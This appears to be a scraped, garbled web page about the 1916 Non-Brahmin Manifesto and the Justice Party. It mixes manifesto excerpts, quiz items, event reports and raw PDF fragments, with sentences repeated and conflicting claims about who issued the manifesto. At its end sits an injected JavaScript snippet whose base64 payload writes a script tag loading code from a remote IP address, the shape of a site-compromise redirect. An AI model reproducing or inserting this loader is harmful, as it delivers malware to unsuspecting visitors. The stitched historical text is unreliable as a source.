In these days of organised effort, they maintain no proper organisations for protecting and promoting their common interests and for preventing professional and other politicians, with hardly any corresponding stake in the country, from posing as their accredited spokesmen, Nor have they a press of their own to speak the truth on their behalf. Non brahmin Manifesto was the first document, and the facts and figures provided in it created a lot of awareness among the non-brahmins to be emancipated and to reap their rightful share in the public domain. The year 1916 was significant. Chetty, as secretary of the Association, issued *The Non-Brahmin Manifesto; surveying the conditions of the non-Brahman community and point ing out the directions for advancement. Side by side with the starting of associations for the advancement of the education of the non-Brahmin classes, must also be maintained social and political organisations, and where they are needed, well conducted newspapers of their own, both in the vernaculars and in English, to push forward their claims, By their attitude of silence and inaction they have failed to make their voices heard and others more astute than they have used them for their own ends, with the result that there is a great deal of discontent among the non-Brahmins about their present lot as compared with that of their Brahmin fellow countrymen, of which, perhaps, the Government is not fully aware, the discontent is growing every day, and the attention of the Government will be drawn to it. 0000011761 00000 n As there was rapid growth of education in Madras Presidency, there was an increase in the number of educated non-Brahmins. BGQ{9=rz#gN9=rzMlNVeAwQ@:vicc:4` 0000001594 00000 n The two leaders often clashed at Council meetings even though both were non-Brahmins. Hume, W.C. Bonnerjee, Budruddin Tayabji, S. Ramaswami Mudaliar, Rangiah Naidu, Rao Bahadur Sabhapathi Mudaliar and Sir Sankaran Nair, enlightened non-Brahmins all over the presidency gave it their hearty and loyal support. x\_s8wj_ **;v=;SWHDH| )JMTML hbo?w^`);x~:>~"BT|)Y,L~}1x|P?dq|j1~L(/Gu0Y]'t~{_,2}y:+w/5>ii9E c-?'n9 vC'!_xa" R+V>x@2~<>?N/Fb? We are of those who think that in the truest and best interest of India, its Government should continue to be conducted on true British principles of justice and equality of opportunity. For, while it was true that the term non-Brahmin had been used occasionally since the late nineteenth century in the Madras Presidency, a manifesto a declarative modern form of announcing a political intent in the name of the non-Brahmin symbolized desires of a different order altogether. The classical account of the Brahmin priestly class and its role in Indian religion has seen remarkable continuity during the past two centuries. No political, economic or social crisis has dented the thirty-year-old consolidation of the state's most prosperous elites behind the BJP so far. While felicitating, Dr.K.Veeramani proudly said, the dignitaries are the products of the labourious contributions of the Dravidian Movement. The Non-Brahmin Manifesto was released outlining its objectives viz., reservation of jobs for non-Brahmins in government service, and seats in representative bodies. The Non-Brahmin Manifesto Presented a detailed statistics which showed the high concentration of Brahmins in Public services, in public bodies and the educational system with their little percent of total population in Madras state. While they were in their respective career, they were dutiful and sincere to the cause of the Dravidian Movement. But the non-Brahmins must first help themselves, Let them do everything needful to ensure a continued educational, social, political and economical development on abroad and enduring basis; and, then, their future as British subjects will be brighter and more prosperous than it is today, What is designated as "Nation building" is a laborious task, involving, and indeed necessitating, in the slow process of evolution, the due performance, in the proper time by each class and community, of the duty it owes to itself first and foremost. Non-Brahmin Manifesto was issued by P.Kesava Pillai, member of the Legislative Council. <<6BE70B7CEC506247B4926AC4E1350D6F>]/Prev 71258>> We appeal to the enlightened members of the non-Brahmin communities to be up and doing, their future lies in their own hands. He was one of the founders of the Justice Party in 1916 along with C. Natesa Mudaliar, Dr. T. M. Nair. In spite of the singular solicitude, which for reasons not apparent, the Department of Education has been showing for the education of Brahmin girls and especially of Brahmin widows as if the Brahmins were IA backward class, the percentage of literates among the women of such non-Brahmin communities as the Nayars is higher than among the Brahmins. When the Justice Party was in power, women were granted voting rights, and a noon-meal programme was implemented. The South Indian Liberal Federation was later known as a) Justice Party b) Dravida Kazhagam c) Tamil Kazhagam d) Dravidian Party 12. 16. It was then, though not in form and name, but in spirit and method, a truly national institution. endobj Question Bank Solutions 6948. My functioning in the higher judiciary was commended by the former union law minister late Sankaranand for the cause of Social Justice. Periyar cultural activity on memorial day of Comrade Periyar, Anti Caste Martyrs Day, launched the periyarwritings.org Website & Introduced The Reservation Rights book in English and Hindi. They make little or no use of their influence among the masses for the general advancement of the country, in these days of organised effort, they maintain no advancement of the country. It was from within the nationalist movement in Madras presidency that in 1916 a group of prominent actors broke ranks with the Indian National Congress and issued a 'manifesto' of the 'Non-Brahmin'. Many Non-Brahmins were pained and surprised at the He called it as one "calculated to be harmful to the common causes and probably likely to promote the best interest of the classes, whom it sought to serve". 1 0 obj 0000032238 00000 n endobj Poor man! 0000003479 00000 n The Non-Brahmin Manifesto was issued by a) C. Natesan When the non-brahmin manifesto was released for public debate and scrutiny in december 1916, Annie Beasant, editor of New India (NI) and patron saint of the Home rule movement denounced its contents and stated intentions in strident terms. We appeal to the enlightened members of the non-Brahmin communities to be up and doing, their future lies in their own hands. Answer: Reservation of jobs for Non - Brahmins in Government service and seats in representative bodies. Reason: They are not 'Malayala Brahmins'. We sincerely hope that sane and sober politicians, who know the country and its people, and who feel their responsibility to both, will soon reassert their mastery over the Congress machine, and direct it in strict accordance with the living realities of the present. naveensv12 naveensv12 16.03.2020 Social Sciences Secondary School answered expert verified 10. They have, in the first place, to educate their boys and girls in far larger numbers than they have yet done, Associations under the responsible guidance of leading non-Brahmin gentlemen should be started and maintained in a state of efficiency, in every populous centre, not merely to induce the various non-Brahmin communities to avail themselves more freely of the existing facilities for education, and to create such facilities where they do not exist, but also to find adequate funds for the education of such of their poor but intelligent boys and girls as cannot obtain instruction without extraneous pecuniary help. Further, he expressed that only with the presence of courageous Judges with conviction of equity in the higher judiciary, the advancement of the oppressed section of the population was possible. Earlier in 2002, the court had lifted the ban on appointing non-Brahmins as temple priests. They make little or no use of their influence among the masses for the general advancement of the country, in these days of organised effort, they maintain no advancement of the country. The Board of Revenue added a column in 1904 exhibiting caste or sect of each subordinate department to provide uniformity to its rules.7 Non-Brahmin Manifesto was issued by P.Kesava Pillai, member of the Legislative Council. The concluding address was delivered by Dr.K.Veeramani, Patron of Dravidian Historical Research Centre. K.S. In the meantime, at a meeting held in the Victoria Public Hall the Non-Brahmin Manifesto was released in December 1916. 0000031124 00000 n 0 The Hon. I was a member of Dravidar Kazhagam (DK) in 1948 and participated in many progressive agitations convened by DK. SELF GOVERNMENT BASED ON EQUAL DISTRIBUTION OF POWER. We are not aware that neither before 1907, when a sort of election of a few Fellows by graduates of a certain number of years standing was allowed, nor since 1914, when the statement referred to was made in the Legislative Council, the graduates of the Madras University, of whom the majority have always been Brahmins, elected a non-Brahmin, as a Fellow of the University. How his Excellency Lord Pentland was dealt with by some of the papers in connection with the recent nominations to his Legislative Council may be cited as the latest example of this kind of hostile and unfair criticism, Outside these responsible bodies more or less under the control of the Government, even in the case of existing political organisations in the city of Madras as well as in the Districts, the figures regarding election, if gone into, will tell the same tale. :^|; )"+e.replace(/([\.$? The South Indian peoples Association has issued the following Manifesto addressed to non-Brahmin gentlemen throughout the presidency under the signature of its Secretary, Rao Bahadur P. Theagaraya Chettiar. The South Indian peoples Association has issued the following Manifesto addressed to non-Brahmin gentlemen throughout the presidency under the signature of its Secretary, Rao Bahadur P. Theagaraya Chettiar. a. Prof Dr.D.Janaki, former Vice Chancellor welcomed the audience. 0000003899 00000 n . In a well-thought out manifesto issued under his signature as the Secretary of the Sounth Indian Peoples' Association, the aim of the Non-Brahmin Movemnet was clearly set forth and their attitude towards the political movements of the day lucidly explained. With which they are confronted. 0000030765 00000 n Similar results were produced by the competitive examination for the Accounts Departments. mJ 6umh#-a{4ZTf`=8MYB"UT:80ItMs?L.x9R"p.$5JrV+[c"}7a}]-;uV0Y?\1e6WYxor5_K@g1[m. In a society where majority of the people have been denied their due share in social, economic and political participation based on their identity on communal basis as non-brahmin, such neglected section had to liberate themselves and progress further only with such identity. Buddha Road The Inner Grammar Of Dissent Lives. The presence of such dignitaries at the centenary celebration is emotional to us and emulative to the present generation and the posterity. 0000024697 00000 n To quote one of the latest instances, of the 15 gentlemen elected from this presidency to represent it on the All India Congress Committee, with the exception of one solitary non-Brahmin Indian, all are practically Brahmins, and yet the decision of this committee, which is the executive of the Congress, upon matters of grave import, such as the revision of the Indian Constitution after the war, will be held up to the world's admiring gaze as the considered. Hume, W.C. Bonnerjee, Budruddin Tayabji, S. Ramaswami Mudaliar, Rangiah Naidu, Rao Bahadur Sabhapathi Mudaliar and Sir Sankaran Nair, enlightened non-Brahmins all over the presidency gave it their hearty and loyal support. In these days of organised effort, they maintain no proper organisations for protecting and promoting their common interests and for preventing professional and other politicians, with hardly any corresponding stake in the country, from posing as their accredited spokesmen, Nor have they a press of their own to speak the truth on their behalf. The association started publishing three newspapers: Dravidian in Tamil, Justice in English and Andhra Prakasika in Telugu, to propagate the ideals of the Party. Where an electorate is composed of a large number of Brahmins, the non-Brahmin Indian has hardly a chance., It nearly always happens that while the non-Brahmins do not concentrate upon a single candidate, Brahmin or non-Brahmin, the Brahmins nearly always unite and support their caste man, The Madras University, of which the majority of Indian Fellows, classified under the several Indian groups, are Brahmins, has never returned a non-Brahmin Indian, to the local Legislative Council, so much so that no non-Brahmin Indian, however well qualified otherwise, indulges in the hope of getting elected as member for the University in the Legislative Council, unless it be with the support of the European Fellows, At a meeting of the Madras Legislative Council, held in November 1914, in reply to an interpellation by the late Mr. Kunhi Raman Nayar, it was stated that the total number of registered graduates of the University was 650 of whom 452; were Brahmins, 12 non-Brahmin Hindus and 74 belonged to other communities, and that since 1907, when election of Fellows by registered graduates began, 12 Fellows were elected, of whom with one exception all were Brahmins. Accordingly, at first . Non-Brahmin Manifesto was proclaimed by Sir Pitti.Theagarayar, narrating the social conditions of non-brahmins in the erstwhile Madras Presidency and the unreasonable monopoly of Brahmins in the education and employment areas. xref Justice V.Ramaswami, former Judge of the Supreme Court of India, Justice S.Ratnavel Pandian, former Judge of the Supreme Court of India, Mr.S.V.Chittibabu, former Vice Chancellor of Madurai and Annamalai Universities, Self-respectful.G.Arangasamy, Rationalist Educationist, Writer Pattukottai Kumaravel were invited and felicitated on behalf of Dravidar Kazhagam by its President, Dr.K.Veeramani. It was then, though not in form and name, but in spirit and method, a truly national institution. stream Not less than 40 out of 41% millions, who form the population of this presidency, are non-Brahmins, and the bulk of the tax payers, including a. large majority of the zamindars, landholders and agriculturists, also belong to the same class. It" is not necessary for our purpose to go into the details of this extravagant scheme, or into those of the other submitted to His Excellency the Viceroy by nineteen members of the Imperial Legislative Council, We are not in favour of any measure, which, in operation, is designed, or tends completely, to undermine the influence and authority of the British Rulers, who alone, in the present circumstances of India, are able to hold the scales even between creed and class, and to develop that sense of unity and national solidarity, without which India will continue to be a congeries of mutually exclusive and warring groups, without a common purpose and a common patriotism. %PDF-1.5 % Afterwards, they issued a "non-Brahmin" manifesto, arguing that if the British granted self-rule to Indians it would "result in the tyranny of Brahmins over others" as they, constituting just 3 per cent of population, dominated colonial professions and bureaucracy. We are deeply devoted and loyally attached to British rule, for that rule, in spite of its many short-comings and occasional aberrations, is, in the main, just and sympathetic, We, indeed, hope that our rulers will, as their knowledge of the country expands, be more readily responsive to public feeling, when, of course, that feeling is clearly manifest and decidedly unambiguous, and that before they take any action they will examine the interests and wishes of each caste, class and community with more anxious care than heretofore and in a less conventional manner, When the spirit of social exclusiveness and the rigidity of class and caste begin to disappear, the progress towards self-government will unquestionably be more satisfactory, but, for the present, the practical politician has to concern himself with what lies immediately in front of him. SELF GOVERNMENT BASED ON EQUAL DISTRIBUTION OF POWER. Seminar on What did Justice Party achieve?. During my service in the higher judiciary, I delivered many judgments enabling dispensation of Social Justice through the means of reservation, as enshrined in the Indian Constitution. They began to raise the issue of caste discrimination and unequal opportunities in employment and representation in elected bodies. In defence of all this practical monopoly of political power and high government appointments which make for that power, it is pointed out that though the Brahmins are only a small fraction of the population of this presidency, they are far ahead of other communities in regard to university qualification. Similar results were produced by the competitive examination for the Accounts Departments. d. It narrated certain facts with respect to the position of these communities . Old established traditions, the position of the Brahmins as the highest and the most sacred of the Hindu castes, the nature of their ancient calling, and the steady inculcation of the belief, both by written texts and oral, teaching, that they are so many divinely-ordained intermediaries without whose active intervention and blessing the soul cannot obtain salvation, and their consequent freedom from manual toil all these helped them to adapt themselves easily to the new conditions under British Rule, as under previous epochs, in large numbers and far more successfully than the other castes and communities, Apart, however, from the question of English education, are large material stakes, traditional and inherited interests in the soil and the social prestige that goes with it, influence among the masses, quiet and peaceful occupations that tend to the steady economic development of the province, and overwhelming numerical strength itself, to count for nothing? Where an electorate is composed of a large number of Brahmins, the non-Brahmin Indian has hardly a chance., It nearly always happens that while the non-Brahmins do not concentrate upon a single candidate, Brahmin or non-Brahmin, the Brahmins nearly always unite and support their caste man, The Madras University, of which the majority of Indian Fellows, classified under the several Indian groups, are Brahmins, has never returned a non-Brahmin Indian, to the local Legislative Council, so much so that no non-Brahmin Indian, however well qualified otherwise, indulges in the hope of getting elected as member for the University in the Legislative Council, unless it be with the support of the European Fellows, At a meeting of the Madras Legislative Council, held in November 1914, in reply to an interpellation by the late Mr. Kunhi Raman Nayar, it was stated that the total number of registered graduates of the University was 650 of whom 452; were Brahmins, 12 non-Brahmin Hindus and 74 belonged to other communities, and that since 1907, when election of Fellows by registered graduates began, 12 Fellows were elected, of whom with one exception all were Brahmins. The priests have been . Examine the origin and growth of Non-Brahmin Movement in Tamil Nadu. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('